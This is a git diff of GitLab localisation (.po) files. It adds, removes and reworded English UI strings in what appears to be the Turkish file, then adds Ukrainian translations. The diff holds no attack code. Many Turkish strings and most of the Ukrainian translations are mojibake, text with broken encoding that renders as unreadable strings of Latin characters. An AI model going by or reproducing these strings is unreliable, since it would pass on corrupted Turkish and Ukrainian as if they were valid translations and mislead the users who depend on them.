+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Bu iÅŸ iptal edildi"
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr "Görev için manuel işlem gerekiyor"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr "Bu projenin devam etmesini sağlamak için yeni bir fikir verin"
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Yıldızı kaldır"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr "Doğrulanmamış"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Güncel"
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "İş hatları"
-msgid "UsageQuota|Purchase more storage"
-msgstr "Daha fazla depolama alanı satın al"
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Projelerinizdeki kaynakların kullanımı"
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "Kullandığınız: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr "Åžablonu kullan"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr "(MeÅŸgul)"
msgid "UserProfile|Activity"
msgstr "Etkinlik"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Suistimal için zaten rapor edildi"
-
msgid "UserProfile|Blocked user"
msgstr "Engellenmiş kullanıcı"
@@ -44937,12 +45616,12 @@ msgstr "Yıldızlı projeler"
msgid "UserProfile|Subscribe"
msgstr "Abone ol"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Bu kullanıcının hiç takipçisi yok."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Bu kullanıcının herhangi bir kişisel projesi yok"
-
msgid "UserProfile|This user has a private profile"
msgstr "Bu kullanıcı özel bir profile sahip"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "Doğrulandı"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr "Sürüm"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "Günlüğü görüntüle"
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr "Değiştirilen @ dosyayı görüntüle "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr "Görünürlük ve erişim kontrolleri"
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "Grup başına veya proje başına bildirim düzeyi belirleyebilirsiniz."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr "Bir kilidi silmeye zorlamak için sorumlu erişiminiz olmalıdır"
msgid "You must provide a valid current password"
msgstr "Geçerli bir mevcut şifre girmelisiniz"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Değiştirmek için mevcut şifrenizi girmelisiniz."
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr "Adınız"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "Kod kalitesinde deÄŸiÅŸiklik yok"
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr "sahipliÄŸi doÄŸrula"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "sürüm %{versionIndex}"
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index a08df80d036..0ef5039161c 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr " %{start} до %{end}"
@@ -166,17 +166,17 @@ msgstr[3] ""
msgid "%d additional user"
msgid_plural "%d additional users"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d додатковий кориÑтувач"
+msgstr[1] "%d додаткового кориÑтувача"
+msgstr[2] "%d додаткових кориÑтувачів"
+msgstr[3] "%d додаткових кориÑтувачів"
msgid "%d approval required"
msgid_plural "%d approvals required"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ¾Ð±Ñ…Ñ–Ð´Ð½Ð¾"
+msgstr[1] "%d Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ¾Ð±Ñ…Ñ–Ð´Ð½Ð¾"
+msgstr[2] "%d затверджень необхідно"
+msgstr[3] "%d затверджень необхідно"
msgid "%d approver"
msgid_plural "%d approvers"
@@ -229,10 +229,10 @@ msgstr[3] "%d дочірніх епіків"
msgid "%d code quality issue"
msgid_plural "%d code quality issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d задача щодо ÑкоÑÑ‚Ñ– коду"
+msgstr[1] "%d задачі щодо ÑкоÑÑ‚Ñ– коду"
+msgstr[2] "%d задач щодо ÑкоÑÑ‚Ñ– коду"
+msgstr[3] "%d задач щодо ÑкоÑÑ‚Ñ– коду"
msgid "%d comment"
msgid_plural "%d comments"
@@ -285,10 +285,10 @@ msgstr[3] "%d комітів,"
msgid "%d completed issue"
msgid_plural "%d completed issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d задачу завершено"
+msgstr[1] "%d задачі завершено"
+msgstr[2] "%d задач завершено"
+msgstr[3] "%d задач завершено"
msgid "%d contribution"
msgid_plural "%d contributions"
@@ -299,10 +299,10 @@ msgstr[3] "%d внеÑків"
msgid "%d contributor"
msgid_plural "%d contributors"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d учаÑник"
+msgstr[1] "%d учаÑники"
+msgstr[2] "%d учаÑників"
+msgstr[3] "%d учаÑників"
msgid "%d day"
msgid_plural "%d days"
@@ -671,13 +671,13 @@ msgstr[2] "%{bold_start}%{count}%{bold_end} відкритих запитів н
msgstr[3] "%{bold_start}%{count}%{bold_end} відкритих запитів на злиттÑ"
msgid "%{chartTitle} no data series"
-msgstr ""
+msgstr "%{chartTitle} немає Ñерії даних"
msgid "%{codeStart}$%{codeEnd} will be treated as the start of a reference to another variable."
-msgstr ""
+msgstr "%{codeStart}$%{codeEnd} буде розглÑдатиÑÑ Ñк початок поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° іншу змінну."
msgid "%{code_open}Expanded:%{code_close} Variables with %{code_open}$%{code_close} will be treated as the start of a reference to another variable."
-msgstr ""
+msgstr "%{code_open}Розширено:%{code_close} Змінні з %{code_open}$%{code_close} розглÑдатимутьÑÑ Ñк початок поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° іншу змінну."
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr "%{code_open}ЗамаÑковано:%{code_close} Сховано в журналах завдань. Повинні відповідати вимогам до маÑкуваннÑ."
@@ -903,10 +903,10 @@ msgid "%{host} sign-in from new location"
msgstr "вхід на %{host} з нового розташуваннÑ"
msgid "%{human_readable_key} exceeds %{max_value_length} characters"
-msgstr ""
+msgstr "%{human_readable_key} перевищує %{max_value_length} Ñимволів"
msgid "%{human_readable_key} is less than %{min_value_length} characters"
-msgstr ""
+msgstr "%{human_readable_key} менше ніж %{min_value_length} Ñимволів"
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr "%{integrations_link_start}Інтеграції%{link_end} дозволÑÑŽÑ‚ÑŒ зробити Ñторонні програми чаÑтиною вашого робочого процеÑу GitLab. Якщо наÑвні інтеграції не відповідають Вашим потребам, розглÑньте можливіÑÑ‚ÑŒ викориÑÑ‚Ð°Ð½Ð½Ñ %{webhooks_link_start}вебхуків (webhooks)%{link_end}."
@@ -932,6 +932,9 @@ msgstr "%{italic_start}Що нового %{italic_end} неактивний Ñ– Ð
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} задач з обмеженнÑм %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr "%{key} не Ñ” дійÑною URL-адреÑою."
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Фактична відповідь:%{labelEnd} %{headers}"
@@ -1004,6 +1007,9 @@ msgstr "%{level_name} не дозволено в %{group_level_name} групі.
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} не допуÑкаєтьÑÑ, оÑкільки проєкт-джерело цього форку має нижчу видиміÑÑ‚ÑŒ."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr "%{linkStart} ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{linkEnd}."
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Видаліть %{draft_snippet} префікÑ%{link_end} з назви , щоб зробити можливим Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту, коли він буде готовий."
@@ -1026,7 +1032,7 @@ msgid "%{message} showing first %{warnings_displayed}"
msgstr "%{message} показує перший %{warnings_displayed}"
msgid "%{message}. Your attention request was removed."
-msgstr ""
+msgstr "%{message}. Ваш запит на увагу був видалений."
msgid "%{milestone} (expired)"
msgstr "%{milestone} (термін дії минув)"
@@ -1137,6 +1143,12 @@ msgstr "%{project_path} - це проєкт, Ñкий ви можете вико
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} неможливо додати: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr "%{relation_type} епік не Ñ–Ñнує."
+
+msgid "%{relation_type} epic is not present."
+msgstr "%{relation_type} епік відÑутній."
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} реліз"
@@ -1154,7 +1166,14 @@ msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnM
msgstr "%{reportType} виÑвив %{totalStart}%{total}%{totalEnd} потенціал %{vulnMessage}"
msgid "%{reportType} detected no new vulnerabilities."
-msgstr ""
+msgstr "%{reportType} не виÑвило нових вразливоÑтей."
+
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Спробуйте знову%{retryButtonEnd} або %{newFileButtonStart}прикріпити новий файл%{newFileButtonEnd}."
@@ -1202,9 +1221,6 @@ msgstr[1] "%{selectedProjectsCount} проєкти"
msgstr[2] "%{selectedProjectsCount} проєктів"
msgstr[3] "%{selectedProjectsCount} проєктів"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1240,10 +1256,10 @@ msgstr "%{strongOpen}ПопередженнÑ:%{strongClose} поÑиланнÑ
msgid "%{strongStart}%{count}%{strongEnd} commit"
msgid_plural "%{strongStart}%{count}%{strongEnd} commits"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{strongStart}%{count}%{strongEnd} коміт"
+msgstr[1] "%{strongStart}%{count}%{strongEnd} коміти"
+msgstr[2] "%{strongStart}%{count}%{strongEnd} комітів"
+msgstr[3] "%{strongStart}%{count}%{strongEnd} комітів"
msgid "%{strongStart}Tip:%{strongEnd} You can also check out merge requests locally. %{linkStart}Learn more.%{linkEnd}"
msgstr "%{strongStart}Порада:%{strongEnd}Ви також можете перевірÑти запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾, %{linkStart}ДізнатиÑÑŒ більше%{linkEnd}"
@@ -1328,13 +1344,6 @@ msgstr "%{template_project_id} невідомий або неправильниÐ
msgid "%{text} is available"
msgstr "%{text} доÑтупний"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} не підтримує графік згорÑннÑ"
@@ -1399,10 +1408,10 @@ msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr "%{username} попроÑив Ñтворити обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab у вашому випадку%{host}:"
msgid "%{username} marked merge request %{mr_link} as draft"
-msgstr ""
+msgstr "кориÑтувачем %{username} позначено запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{mr_link} Ñк чернетка"
msgid "%{username} marked merge request %{mr_link} as ready"
-msgstr ""
+msgstr "кориÑтувачем %{username} позначено запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{mr_link} Ñк готовий"
msgid "%{username}'s avatar"
msgstr "%{username} аватар"
@@ -1432,7 +1441,7 @@ msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notif
